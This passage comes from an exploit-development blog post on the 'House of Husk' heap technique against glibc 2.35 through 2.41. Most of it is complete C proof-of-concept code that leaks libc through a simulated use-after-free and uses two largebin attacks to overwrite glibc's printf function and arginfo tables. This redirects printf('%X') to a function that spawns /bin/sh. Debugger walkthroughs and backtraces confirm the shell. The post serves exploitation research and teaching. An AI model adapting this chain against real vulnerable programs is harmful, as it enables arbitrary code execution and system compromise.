	printf("Now [p2] is inserted into unsorted bin, while p[1] is in large bin"); 

	printf("\n");

	p1[3] = (size_t)(libc_base + PRINTF_FUNCTION_T- 0x20);
	printf("Hijacking [p1]->bk_nextsize → (__printf_function_table - 0x20)\n");
	printf("This sets up a Largebin Attack where inserting [p2] will overwrite the function table pointer\n");
	printf("                   (largebin Attack: https://4xura.com/pwn/heap/large-bin-attack)\n");

	printf("\n");

	size_t *g6 = malloc(0x438);
	printf("Allocate another chunk larger than [p2] to place [p2] into large bin\n");
	printf("This triggers Largebin Attack to write the chunk address of [p2] into __printf_function_table\n");

	printf("\n");

	assert((size_t)(p2-2) == *(size_t *)(libc_base+PRINTF_FUNCTION_T));

	printf("Once We've overwritten __printf_function_table, calling printf() with any format specifier\n"); 
	puts("    like \%s, \%x, \%X, \%d, etc., will make vfprintf() look up a handler in that function table.");
	puts("    (Not even for the apperance of %, which will trigger a segment fault! - here we use puts())");
	printf("     it will attempt to call that address — triggering a segmentation fault\n");

	printf("\n");

	printf("==================== Largebin Attack 2 ===================\n"); 

	printf("Now we start the 2nd Largebin Attack, with [p3] and [p4]\n");
	printf("Our goal is to write our controlled fake chunk address into __printf_arginfo_table\n");
	printf("To fake a table where __parse_one_specmb (called by printf()) uses to parse format string specifiers\n");

	printf("\n");

	printf("Therefore, we need to hijack this __printf_arginfo_table and the function pointers it holds\n");
	printf("We will deploy an evil function pointer (e.g. backdoor, one gadget, ROP, ORW, etc.) at the offset for a chosen fmt specifier\n");

	printf("\n");

	printf("[!] Choosing the format specifier 'X' for hijack\n");
	puts("When printf(\"\%X\", ...) is called, our fake handler at the corresponding offset will be invoked");

	printf("\n");

	printf("Writing function pointer to backdoor() on fake chunk [p4] at offset ord('X'*8)...\n");
	printf("Namely at offset ord('X-2')*8 from user-input field of the chunk\n");

	printf("\n");

	printf("[*] If there's no backdoor, we can use one gadget or ORW instead - this is for the sake of demonstratation\n");
	size_t backdoor_addr = (size_t)&backdoor;
	*(size_t *)(p4 + ('X' - 2)) = backdoor_addr;

	printf("\n");

	printf("[+] Planted backdoor() address to corresponding offset on fake table [p4]\n");

	printf("\n");

	printf("After preparing the fake chunk [p4]\n");
	printf("We just repeat the Largebin Attack, same as before, but on __printf_arginfo_table\n");
	printf("So we will skip the details.\n");
	
	printf("\n");

	free(p3);
	size_t *g7 = malloc(0x498);
	printf("The larger 0x491 [p3] is now freed into large bin\n");
	free(p4);
	printf("The smaller 0x481 [p4] is now freed into unsorted bin\n");

	printf("\n");

	p3[3] = (size_t)(libc_base + PRINTF_ARGINFO_T- 0x20);
	printf("Hijacking [p3]->bk_nextsize → (__printf_arginfo_table - 0x20)\n");
	printf("This prepares the second Largebin Attack to redirect format specifier parsing\n");
	printf("                   (largebin Attack: https://4xura.com/pwn/heap/large-bin-attack)\n");

	printf("\n");

	size_t *g8 = malloc(0x498);
	printf("This triggers the Largebin Attack to write the [p4] chunk address into __printf_arginfo_table\n");

	assert((size_t)(p4-2) == *(size_t *)(libc_base+PRINTF_ARGINFO_T));

	printf("\n");

	puts("[*] Setup complete for House of Husk (Attack Chain 1) in glibc-2.35");
	puts("   Press ENTER to trigger...");
	getchar();
	printf("%X", 0);  // Triggers backdoor if successful

	return 0;
}

The in-line comments sufficiently document the methodology, so I won't reiterate explanations in detail here.

Go Through

To observe the final state just before triggering the exploit, we drop a breakpoint at the last printf("%X", 0) and examine the memory landscape.

Let's inspect the two key tables we hijacked — __printf_function_table and __printf_arginfo_table — right after the Largebin attacks have landed:

Both are successfully overwritten with heap addresses we control:

At this point, we've also planted a function pointer to our backdoor() payload at the correct offset in the forged arginfo table (0x406fd0) — precisely where the %X specifier will land:

Why offset 88 - 2?

Check the ASCII table (man ascii) — the character 'X' maps to decimal 88:

Oct   Dec   Hex   Char                        Oct   Dec   Hex   Char
────────────────────────────────────────────────────────────────────────
000   0     00    NUL '\0' (null character)   100   64    40    @
[...]
027   23    17    ETB (end of trans. blk)     127   87    57    W
030   24    18    CAN (cancel)                130   88    58    X
031   25    19    EM  (end of medium)         131   89    59    Y
[...]

Since each table entry is 8 bytes (size_t), this becomes an index. Subtract 2 to account for the chunk metadata, and we've got our write offset from the start of the user area:

Now let's step through the printf execution flow and trace the hijack.

First stop — printf invokes the wrapper macro, landing in __vfprintf_internal:

On encountering a format specifier (%X), glibc starts parsing:

Then comes the key decision — glibc checks whether __printf_function_table is null:

Since it's not (thanks to our overwrite), it enters the slow path — calling printf_positional:

And calls __parse_one_specmb to parse the specifier string ('%X'):

Inside, glibc dispatches the specifier parsing to __parse_one_specmb, continuing its execution flow. At this point, glibc confirms __printf_function_table is non-null (our fake value, 0x4066e0), and proceeds:

Execution lands at __parse_one_specmb+1856, and glibc dereferences a function pointer from our forged __printf_arginfo_table, calculated precisely from the ASCII value of 'X':

The flow jumps to backdoor(), achieving arbitrary code execution:

Full control. Full compromise. And here's the full backtrace, revealing how it's achieved:

pwndbg> bt

#0  0x00000000004011b9 in backdoor () at house_of_husk_1_glibc-2.35.c:32
#1  0x00007ffff7e0aa66 in __parse_one_specmb (format=format@entry=0x4030a8 "%X", posn=posn@entry=0, spec=spec@entry=0x7fffffffb250, max_ref_arg=max_ref_arg@entry=0x7fffffffb228) at ./stdio-common/printf-parsemb.c:316
#2  0x00007ffff7dffc54 in printf_positional (s=s@entry=0x7fffffffc090, format=format@entry=0x4030a8 "%X", readonly_format=readonly_format@entry=0, ap=ap@entry=0x7fffffffe1d0, ap_savep=ap_savep@entry=0x7fffffffbc18, done=done@entry=0, nspecs_done=0, lead_str_end=0x4030a8 "%X", work_buffer=0x7fffffffbc40 "", save_errno=0, grouping=0x0, thousands_sep=0x7ffff7f6544f "", mode_flags=0) at ./stdio-common/vfprintf-internal.c:1682
#3  0x00007ffff7e02336 in __vfprintf_internal (s=s@entry=0x7fffffffc090, format=0x4030a8 "%X", ap=0x7fffffffe1d0, mode_flags=0) at ./stdio-common/vfprintf-internal.c:1602
#4  0x00007ffff7e04665 in buffered_vfprintf (s=0x7ffff7fa8780 <_IO_2_1_stdout_>, format=format@entry=0x4030a8 "%X", args=args@entry=0x7fffffffe1d0, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:2261
#5  0x00007ffff7e0365e in __vfprintf_internal (s=<optimized out>, format=0x4030a8 "%X", ap=ap@entry=0x7fffffffe1d0, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1236
#6  0x00007ffff7ded79f in __printf (format=<optimized out>) at ./stdio-common/printf.c:33
#7  0x00000000004019a5 in main () at house_of_husk_1_glibc-2.35.c:197
#8 0x00007ffff7db6d90 in __libc_start_call_main (main=main@entry=0x4011da <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe438) at ../sysdeps/nptl/libc_start_call_main.h:58
#9 0x00007ffff7db6e40 in __libc_start_main_impl (main=0x4011da <main>, argc=1, argv=0x7fffffffe438, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe428) at ../csu/libc-start.c:392
#10 0x00000000004010e5 in _start ()

Glibc 2.37

Env

We deploy the test in a lab running glibc 2.37-0ubuntu2.2:

$ /usr/lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.37-0ubuntu2.2) stable release version 2.37.
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

$ ldd --version
ldd (Ubuntu GLIBC 2.37-0ubuntu2.2) 2.37
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Offsets

As before, we determine key libc offsets via GDB:

pwndbg> libc
libc : 0x7ffff7d84000

pwndbg> set $libc=0x7ffff7d84000

pwndbg> distance $libc &main_arena
0x7ffff7d84000->0x7ffff7f7ac80 is 0x1f6c80 bytes (0x3ed90 words)

pwndbg> distance $libc &__printf_arginfo_table
0x7ffff7d84000->0x7ffff7f7b8b0 is 0x1f78b0 bytes (0x3ef16 words)

pwndbg> distance $libc &__printf_function_table
0x7ffff7d84000->0x7ffff7f7c9a0 is 0x1f89a0 bytes (0x3f134 words)
PoC Scripts

The PoC logic remains identical to that of glibc 2.35 for Attach Chain 1 — only the calculated offsets are updated. The source code can be found from my Github repo.

Go Through

As previously discussed, glibc ≥ 2.37 introduces architectural changes — particularly around Xprintf_buffer() and __printf_function_invoke(). We won't rehash the internals here but will highlight key differences during the walkthrough.

Once the exploit lands, we observe a familiar pattern. Both hijacked tables point to heap regions under our control — and the fake function pointer is written at the correct offset derived from the ASCII of 'X' (here calculated from the chunk header, so no -2 adjustment):

Notably, the transition into the slow path no longer happens via __vfprintf_internal, but through the newer buffering wrapper, __printf_buffer():

Inside printf_positional(), glibc still calls __parse_one_specmb(), where it references our hijacked __printf_arginfo_table:

From there, it's game over, again:

Final backtrace confirms our controlled flow reached backdoor() cleanly:

pwndbg> bt

#0  backdoor () at house_of_husk_1_glibc-2.37.c:32
#1  0x00007ffff7e2d886 in __parse_one_specmb (format=format@entry=0x4030a8 "%X", posn=posn@entry=0, spec=spec@entry=0x7fffffffd1e0, max_ref_arg=max_ref_arg@entry=0x7fffffffd1a8)
at ./stdio-common/printf-parsemb.c:316
#2  0x00007ffff7e12cd8 in printf_positional (buf=buf@entry=0x7fffffffdfe0, format=format@entry=0x4030a8 "%X", readonly_format=readonly_format@entry=0, ap=ap@entry=0x7fffffffe0e0,
ap_savep=ap_savep@entry=0x7fffffffdb58, nspecs_done=nspecs_done@entry=0, lead_str_end=0x4030a8 "%X", work_buffer=0x7fffffffdb80 "", save_errno=0, grouping=<optimized out>,
thousands_sep=0x7ffff7f6af4f "", mode_flags=0) at ./stdio-common/vfprintf-internal.c:1059
#3  0x00007ffff7e14a6e in __printf_buffer (buf=buf@entry=0x7fffffffdfe0, format=format@entry=0x4030a8 "%X", ap=ap@entry=0x7fffffffe0e0, mode_flags=mode_flags@entry=0)
at ./stdio-common/vfprintf-internal.c:985
#4  0x00007ffff7e16b41 in __vfprintf_internal (s=0x7ffff7fad780 <_IO_2_1_stdout_>, format=0x4030a8 "%X", ap=ap@entry=0x7fffffffe0e0, mode_flags=mode_flags@entry=0)
at ./stdio-common/vfprintf-internal.c:1459
#5  0x00007ffff7e0bf9f in __printf (format=<optimized out>) at ./stdio-common/printf.c:33
#6  0x00000000004019a5 in main () at house_of_husk_1_glibc-2.37.c:197
#7  0x00007ffff7dd9a90 in __libc_start_call_main (main=main@entry=0x4011da <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe348) at ../sysdeps/nptl/libc_start_call_main.h:58
#8  0x00007ffff7dd9b49 in __libc_start_main_impl (main=0x4011da <main>, argc=1, argv=0x7fffffffe348, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffe338) at ../csu/libc-start.c:360
#9  0x00000000004010e5 in _start ()

PoC | Attack Chain 2

This time, we're exploiting Attack Chain 2, targeting the internal dispatch table: __printf_function_table. Unlike Chain 1, this hijack triggers toward the end of the slow path within printf_positional, just before rendering.

Glibc 2.35

Env

Same lab setup as Attack Chain 1 — running glibc 2.35-0ubuntu3.8.

Offsets

No surprises here — we reuse the exact same offsets as Chain 1:

  • main_arena__printf_function_table: 0x21c9c8
  • main_arena__printf_arginfo_table: 0x21b8b0
  • main_arena + 0x60 for unsorted bin leak

These remain stable across both chains in this version.

PoC Script
C
/*
 * Title   : House of Husk PoC via Largebin Attack for modern Versions of GLibc 
 * Author  : Axura
 * Target  : glibc-2.35-0ubuntu3.8 (Ubuntu 22.04)
 * Purpose : Attack chain 2 (hijack of __printf_function_table via Largebin Attack)
 * Website : https://4xura.com/pwn/house-of-husk/
 *
 *     this PoC uses a backdoor() function for reliable exploitation flow.
 *   - A real-world payload may involve stack frame manipulation (for one gadget), ROP, ORW, or constraint-satisfying gadgets.
 * 
 * Compile : gcc -no-pie -fno-PIE -O0 -g -o house_of_husk_2_glibc-2.35 house_of_husk_2_glibc-2.35.c
 */

#include <assert.h>
#include <complex.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>
#include <unistd.h>

/* Change the offsets if testing different GLibc verisons */
#define MAIN_ARENA         0x21ac80
#define MAIN_ARENA_DELTA   0x60
#define PRINTF_ARGINFO_T   0x21b8b0
#define PRINTF_FUNCTION_T  0x21c9c8

void backdoor()
{
	printf("[!] We can replace this backdoor with one gadget, \n\twhich requires a \"stack wash\" to fulfill the constraints in real exploit\n");
	printf("\tOr use ROP, ORW chain to execute commands\n");
	system("/bin/sh");
}

int main(void)
{
	/*Disable IO buffering to prevent stream from interfering with heap*/
	setvbuf(stdin,NULL,_IONBF,0);
	setvbuf(stdout,NULL,_IONBF,0);
	setvbuf(stderr,NULL,_IONBF,0);

	printf("===================== Heap fengshui ====================\n"); 

	size_t *p1 = malloc(0x428);
	printf("For the 1st Largebin Attack, we allocate a large 0x%lx chunk [p1] (%p)\n", p1[-1], p1-2);
	printf(" Note: [p1] refers to the chunk itself; 'p1' points to its user data region, not the metadata\n");
	printf(" We will use this same convention for the following demonstratation\n");
	size_t *g1 = malloc(0x18);  // Guard chunk

	printf("\n");

	size_t *p2 = malloc(0x418);
	printf("We also allocate a second large 0x%lx chunk [p2] (%p).\n", p2[-1], p2-2);
	printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
	size_t *g2 = malloc(0x18);   // Guard chunk

	printf("\n");

	printf("Additionally, we will allocate two more chunks for the 2nd Largebin Attack\n");
	printf("And put them into a different large bin\n");
	size_t *p3 = malloc(0x488);
	printf("The larger one is the 0x%lx [p3] (%p)\n", p3[-1], p3-2);
	size_t *g3 = malloc(0x18);  // Guard chunk
	size_t *p4 = malloc(0x478);
	printf("The smaller one is the 0x%lx [p4] (%p)\n", p4[-1], p4-2);
	size_t *g4 = malloc(0x18);  // Guard chunk

	printf("\n");

	printf("Chunks for 1st Largebin Attack:\n");
	printf("[p1]: 0x%lx @ %p\n", p1[-1], p1-2);
	printf("[p2]: 0x%lx @ %p\n\n", p2[-1], p2-2);
	printf("Chunks for 2nd Largebin Attack:\n");
	printf("[p3]: 0x%lx @ %p\n", p3[-1], p3-2);
	printf("[p4]: 0x%lx @ %p\n\n", p4[-1], p4-2);

	printf("======================= Leak libc ======================\n"); 

	free(p1);
	printf("Free the larger one of the 1st pair --> [p1] (0x%lx, @ %p)\n", p1[-1], p1-2);

	unsigned long libc_base;
	printf("Now [p1] is in unsorted bin, we can simulate a UAF to leak libc.\n");
	libc_base = *p1 - MAIN_ARENA - MAIN_ARENA_DELTA;
	printf("[+] libc base: 0x%lx\n", libc_base);
	printf("[+] target __printf_function_table: %p\n", (void *)(libc_base + PRINTF_FUNCTION_T));
	printf("[+] target __printf_arginfo_table:  %p\n", (void *)(libc_base + PRINTF_ARGINFO_T));

	printf("\n");

	printf("==================== Largebin Attack 1 ===================\n"); 

	printf("Now we start the 1st Largebin Attack, with [p1] and [p2]\n");
	printf("Our goal is to write a heap address into __printf_arginfo_table\n");
	printf("(This is opposite to Attack Chain 1, where we hijack __printf_arginfo_table in the 1st Largebin Attack)\n");

	printf("\n");

	size_t *g5 = malloc(0x438);
	printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

	printf("\n");

	free(p2);
	printf("Free the smaller one now --> [p2] (0x%lx, @ %p)\n", p2[-1], p2-2);
	printf("Now [p2] is inserted into unsorted bin, while p[1] is in large bin"); 

	printf("\n");

	p1[3] = (size_t)(libc_base + PRINTF_ARGINFO_T- 0x20);
	printf("Hijacking [p1]->bk_nextsize → (__printf_arginfo_table - 0x20)\n");
	printf("This sets up a Largebin Attack where inserting [p2] will overwrite the function table pointer\n");
	printf("                   (largebin Attack: https://4xura.com/pwn/heap/large-bin-attack)\n");

	printf("\n");

	size_t *g6 = malloc(0x438);
	printf("Allocate another chunk larger than [p2] to place [p2] into large bin\n");
	printf("This triggers Largebin Attack to write the chunk address of [p2] into __printf_arginfo_table\n");

	printf("\n");

	assert((size_t)(p2-2) == *(size_t *)(libc_base+PRINTF_ARGINFO_T));

	printf("Remeber we CANNOT run printf() with fmt specifiers after hijacking __printf_function_table in Attack Chain 1?\n");
	printf("We won't have that issue by hijacking __printf_arginfo_table at 1st palce here!\n");

	printf("\n");

	printf("==================== Largebin Attack 2 ===================\n"); 

	printf("Now we start the 2nd Largebin Attack, with [p3] and [p4]\n");
	printf("Our goal is to write our controlled fake chunk address into __printf_function_table\n");
	printf("To fake a table where __parse_one_specmb (called by printf()) uses to parse format string specifiers\n");

	printf("\n");

	printf("Therefore, we need to hijack this __printf_function_table and the function pointers it holds\n");
	printf("We will deploy an evil function pointer (e.g. backdoor, one gadget, ROP, ORW, etc.) at the offset for a chosen fmt specifier\n");

	printf("\n");

	printf("[!] Choosing the format specifier 'X' for hijack\n");
	puts("When printf(\"\%X\", ...) is called, our fake handler at the corresponding offset will be invoked");

	printf("\n");

	printf("Writing function pointer to backdoor() on fake chunk [p4] at offset ord('X'*8)...\n");
	printf("Namely at offset ord('X-2')*8 from user-input field of the chunk\n");

	printf("\n");

	printf("[*] If there's no backdoor, we can use one gadget or ORW instead - this is for the sake of demonstratation\n");
	size_t backdoor_addr = (size_t)&backdoor;
	*(size_t *)(p4 + ('X' - 2)) = backdoor_addr;

	printf("\n");

	printf("[+] Planted backdoor() address to corresponding offset on fake table [p4]\n");

	printf("\n");

	printf("After preparing the fake chunk [p4]\n");
	printf("We just repeat the Largebin Attack, same as before, but on __printf_function_table\n");
	printf("So we will skip the details.\n");
	
	printf("\n");

	free(p3);
	size_t *g7 = malloc(0x498);
	printf("The larger 0x491 [p3] is now freed into large bin\n");
	free(p4);
	printf("The smaller 0x481 [p4] is now freed into unsorted bin\n");

	printf("\n");

	p3[3] = (size_t)(libc_base + PRINTF_FUNCTION_T- 0x20);
	printf("Hijacking [p3]->bk_nextsize → (__printf_function_table - 0x20)\n");
	printf("This prepares the second Largebin Attack to redirect format specifier parsing\n");
	printf("                   (largebin Attack: https://4xura.com/pwn/heap/large-bin-attack)\n");

	printf("\n");

	size_t *g8 = malloc(0x498);
	printf("This triggers the Largebin Attack to write the [p4] chunk address into __printf_function_table\n");

	assert((size_t)(p4-2) == *(size_t *)(libc_base+PRINTF_FUNCTION_T));

	printf("\n");

	puts("[*] Setup complete for House of Husk (Attack Chain 2) in glibc-2.35");
	puts("   Press ENTER to trigger...");
	getchar();
	printf("%X", 0);  // Triggers backdoor if successful

	return 0;
}

This PoC reverses the order of Largebin Attacks — hijacking __printf_arginfo_table first, then landing the killshot on __printf_function_table.

One key insight: hijacking only __printf_arginfo_table doesn't cause a crash when printf() runs. But the moment we overwrite __printf_function_table, the parsing logic itself mutates. Glibc no longer “recognizes” specifiers the same way — it defers entirely to our payload.

Go Through

Two Largebin Attacks, two overwritten tables — but this time, the backdoor function pointer lands in the fake __printf_function_table:

The flow begins identically to Chain 1 — we trigger __parse_one_specmb within the slow path of printf_positional. But this time the function reaches to parsing completion with out hijacking:

Instead of stopping there, Glibc continues into the tail of printf_positional, performing one last check — is __printf_function_table null? Again:

It isn't. We made sure of that.

So Glibc computes the index for the current format specifier, resolves it against our faked table — __printf_function_table = p4... and executes the malicious pointer:

Shell popped:

Full backtrace:

pwndbg> bt

#0  backdoor () at house_of_husk_2_glibc-2.35.c:32
#1  0x00007ffff7e00e83 in printf_positional (s=s@entry=0x7fffffffc090, format=format@entry=0x403058 "%X", readonly_format=<optimized out>, readonly_format@entry=0, ap=ap@entry=0x7fffffffe1d0, ap_savep=ap_savep@entry=0x7fffffffbc18, done=<optimized out>, done@entry=0, nspecs_done=<optimized out>, lead_str_end=<optimized out>, work_buffer=<optimized out>, save_errno=<optimized out>, grouping=<optimized out>, thousands_sep=<optimized out>, mode_flags=<optimized out>) at ./stdio-common/vfprintf-internal.c:1894
#2  0x00007ffff7e02336 in __vfprintf_internal (s=s@entry=0x7fffffffc090, format=0x403058 "%X", ap=0x7fffffffe1d0, mode_flags=0) at ./stdio-common/vfprintf-internal.c:1602
#3  0x00007ffff7e04665 in buffered_vfprintf (s=0x7ffff7fa8780 <_IO_2_1_stdout_>, format=format@entry=0x403058 "%X", args=args@entry=0x7fffffffe1d0, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:2261
#4  0x00007ffff7e0365e in __vfprintf_internal (s=<optimized out>, format=0x403058 "%X", ap=ap@entry=0x7fffffffe1d0, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1236
#5  0x00007ffff7ded79f in __printf (format=<optimized out>) at ./stdio-common/printf.c:33
#6  0x0000000000401996 in main () at house_of_husk_2_glibc-2.35.c:196
#7  0x00007ffff7db6d90 in __libc_start_call_main (main=main@entry=0x4011da <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe438) at ../sysdeps/nptl/libc_start_call_main.h:58
#8  0x00007ffff7db6e40 in __libc_start_main_impl (main=0x4011da <main>, argc=1, argv=0x7fffffffe438, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe428) at ../csu/libc-start.c:392
#9  0x00000000004010e5 in _start ()

Glibc 2.41

Env

Despite many claims suggesting Attack Chain 2 was patched in recent versions, we tested our PoC against glibc 2.41 stable release on Arch Linux — and it still delivers.

$ /usr/lib/libc.so.6
GNU C Library (GNU libc) stable release version 2.41.
Copyright (C) 2025 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 14.2.1 20250207.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 4.4.0
For bug reporting instructions, please see:
<https://gitlab.archlinux.org/archlinux/packaging/packages/glibc/-/issues>.

$ ldd --version
ldd (GNU libc) 2.41
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Offsets
pwndbg> libc
libc : 0x7ffff7dca000

pwndbg> set $libc=0x7ffff7dca000

pwndbg> distance $libc &main_arena
0x7ffff7dca000->0x7ffff7fa3ca0 is 0x1d9ca0 bytes (0x3b394 words)

pwndbg> distance $libc &__printf_arginfo_table
0x7ffff7dca000->0x7ffff7fa5908 is 0x1db908 bytes (0x3b721 words)

pwndbg> distance $libc &__printf_function_table
0x7ffff7dca000->0x7ffff7fa5900 is 0x1db900 bytes (0x3b720 words)
PoC Script

Same attack logic as Attack Chain 2 for glibc 2.35 — updated only with new offsets extracted via GDB.

We can find the script for glibc 2.41 exploiting Attack Chain 2 here: house_of_husk_2_glibc-2.41.c

Go Through

Starting from glibc 2.37, the internal logic of printf underwent structural refactoring. The Xprintf_buffer() abstraction wraps the old vfprintf() engine, and dispatches handlers via Xprintf(function_invoke) — eventually calling into __printf_function_invoke . But while the architecture shifted, the exploitable surface remains unchanged: __printf_function_table[spec]() is still the final destination.

After deploying the two Largebin Attacks, we hijack both tables. As explained earlier, we inject backdoor() into the offset for 'X' inside the faked __printf_function_table:

Execution hits printf("%X", 0), enters the slow path, and reaches the tail of printf_positional() (now via Xprintf_buffer(), refer to line 1394 from the source), as expected:

It still verifies that __printf_function_table is not null, computes the offset, but passes control into __printf_function_invoke():

Inside, it buffers some stream output, and then… loads our payload into rbx:

Pwn confirmed. Attack Chain 2 still hits on glibc 2.41:

Full backtrace:

pwndbg> bt
#0  backdoor () at house_of_husk_2_glibc-2.41.c:32
#1  0x00007ffff7e2e3b7 in __printf_function_invoke (buf=buf@entry=0x7fffffffd530, callback=0x4011a6 <backdoor>, args_value=0x7fffffffcb80,
ndata_args=<optimized out>, info=info@entry=0x7fffffffc770) at ./printf_buffer_as_file.h:52
#2  0x00007ffff7e30f52 in printf_positional (buf=buf@entry=0x7fffffffd530, format=format@entry=0x40306c "%X", readonly_format=readonly_format@entry=0,
ap=ap@entry=0x7fffffffd628, ap_savep=ap_savep@entry=0x7fffffffd0b8, nspecs_done=nspecs_done@entry=0, lead_str_end=<optimized out>,
work_buffer=<optimized out>, save_errno=<optimized out>, grouping=<optimized out>, thousands_sep=<optimized out>, mode_flags=<optimized out>)
at vfprintf-internal.c:1345
#3  0x00007ffff7e32cd4 in __printf_buffer (buf=buf@entry=0x7fffffffd530, format=format@entry=0x40306c "%X", ap=ap@entry=0x7fffffffd628,
mode_flags=mode_flags@entry=0) at vfprintf-internal.c:1041
#4  0x00007ffff7e35441 in __vfprintf_internal (s=0x7ffff7fb07a0 <_IO_2_1_stdout_>, format=0x40306c "%X", ap=ap@entry=0x7fffffffd628,
mode_flags=mode_flags@entry=0) at vfprintf-internal.c:1544
#5  0x00007ffff7e2a5ee in __printf (format=<optimized out>) at printf.c:33
#6  0x0000000000401996 in main () at house_of_husk_2_glibc-2.41.c:196
#7  0x00007ffff7dfc957 in __libc_start_call_main (main=main@entry=0x4011da <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffd888)
at ../sysdeps/nptl/libc_start_call_main.h:58
#8  0x00007ffff7dfca15 in __libc_start_main_impl (main=0x4011da <main>, argc=1, argv=0x7fffffffd888, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffd878) at ../csu/libc-start.c:360
#9  0x00000000004010e5 in _start ()


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)